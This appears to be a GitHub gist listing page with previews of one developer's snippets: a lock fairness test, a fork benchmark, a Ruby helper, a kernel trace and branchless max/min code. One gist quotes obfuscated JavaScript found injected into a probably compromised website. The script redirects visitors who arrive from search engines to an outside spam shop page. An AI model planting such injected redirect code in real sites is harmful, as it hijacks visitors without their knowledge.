n-soda
n-soda
/ lock_fairness_test.c
Last active
July 13, 2018 22:27
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| /* | |
| * lock_fairness_test.c | |
| * | |
| * test program to see unfair behavior of mutex/rwlock/POSIX semaphore. | |
| * | |
| * NOTE: | |
| * The unfairness is not necessarily a bug, since POSIX doesn't say anything | |
| * about fairness, and also the critical section shouldn't be this long. | |
| * | |
| * Fair behavior of this program is that elapsed time is printed |
n-soda
/ toupper-result.html
Last active
May 18, 2017 10:35
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| <HTML lang="en"> | |
| <HEAD> | |
| <META http-equiv="Content-Type" content="text/html; charset=US-ASCII"> | |
| <META http-equiv="Content-Style-Type" content="text/css"> | |
| <TITLE>toupper() implementation speed comparison</TITLE> | |
| <STYLE type="text/css"> | |
| <!-- | |
| table { border-collapse: collapse; } |
n-soda
/ recursive_conv_array_to_hash.rb
Created
February 28, 2017 10:04
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| def recursive_conv_array_to_hash(h) | |
| h.each{|key, value| | |
| if value.is_a?(Array) | |
| hh = {} | |
| value.each{|e| hh[e]=0 } | |
| h[key] = hh | |
| else | |
| recursive_conv_array_to_hash value | |
| end | |
| } |
n-soda
/ forkbench.c
Last active
September 3, 2016 21:19
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| #include <stdio.h> | |
| #include <stdlib.h> | |
| #include <unistd.h> | |
| #include <libgen.h> | |
| #include <sys/time.h> | |
| #define IBUFSIZE 30 | |
| static void | |
| usage(const char *prog) |
n-soda
/ emu.com.top-page.txt
Created
March 28, 2016 06:53
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| script at the end of http://emu.com (probably cracked) | |
| <script>eval(function(p,a,c,k,e,r){e=String;if(!''.replace(/^/,String)){while(c--)r[c]=k[c]||c;k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.1("2").3.4="5"',6,6,'document|getElementById|pjs|style|display|none'.split('|'),0,{}))</script> | |
| from firefox "view source" menu: | |
| <script>eval(('if(/('+'g'+'o'+'og'+'le|'+'yaho'+'o|bi'+'ng|ao'+'l)/i'+'.tes'+'t(do'+'cum'+'ent.r'+'efer'+'r'+'e'+'r)'+'){w'+'indow'+'.set'+'Ti'+'meou'+'t(fun'+'ction'+'(){'+'top.'+'locat'+'io'+'n.'+'href='+'"'+'http'+'://ww'+'w.'+'rk'+'lb'+'uje.p'+'w/ind'+'ex.ph'+'p?m'+'ai'+'n_p'+'age'+'=pr'+'oduct'+'_info'+'&'+'produ'+'cts_'+'id=64'+'30"},'+'100'+'0)}').replace(/####/g, '\''))</script> |
n-soda
/ CentOS6.page_allocation_failure.txt
Created
March 17, 2016 08:55
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| gfsd: page allocation failure. order:5, mode:0xd0 | |
| Pid: 31349, comm: gfsd Not tainted 2.6.32-279.22.1.el6.x86_64 #1 | |
| Call Trace: | |
| [<ffffffff8112343f>] ? __alloc_pages_nodemask+0x77f/0x940 | |
| [<ffffffff8115d3e2>] ? kmem_getpages+0x62/0x170 | |
| [<ffffffff8115dffa>] ? fallback_alloc+0x1ba/0x270 | |
| [<ffffffff8115da4f>] ? cache_grow+0x2cf/0x320 | |
| [<ffffffff8115dd79>] ? ____cache_alloc_node+0x99/0x160 | |
| [<ffffffff8115ef40>] ? kmem_cache_alloc_node_trace+0x90/0x200 | |
| [<ffffffff8115f15d>] ? __kmalloc_node+0x4d/0x60 |
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| /* | |
| * max()/min() implementation without any conditional branch instruction. | |
| * basic idea from: | |
| * https://twitter.com/vivisuke/status/539563588332310528 | |
| * http://vivi.dyndns.org/blog/archives/306 | |
| * | |
| * countermeasure against signed integer overflow by n-soda @ github | |
| * | |
| * NOTE: | |
| * this program is NOT truly portable, |